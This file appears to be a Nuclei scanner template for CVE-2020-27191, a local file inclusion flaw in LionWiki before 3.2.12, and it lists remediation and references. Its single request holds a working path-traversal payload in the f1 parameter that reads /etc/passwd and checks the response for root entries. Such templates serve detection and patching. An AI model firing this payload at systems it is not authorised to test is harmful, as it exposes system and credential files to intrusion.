LionWiki <3.2.12 - Local File Inclusion

id: CVE-2020-27191

info:
  name: LionWiki <3.2.12 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi
    - http://lionwiki.0o.cz/index.php?page=Main+page
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27191
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27191
    cwe-id: CWE-22
    epss-score: 0.08361
    epss-percentile: 0.94285
    cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lionwiki
    product: lionwiki
  tags: cve2020,cve,lionwiki,lfi,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022049917820e3b407ef5cfedf5e85b5e7026a4547ec442b21a69fda8b8c1c5a00210220617e37f77a196eb54b9103572c407b0c2533da6a92a501fe13c03527450bf084:922c64590222798bb761d5b6d8e72950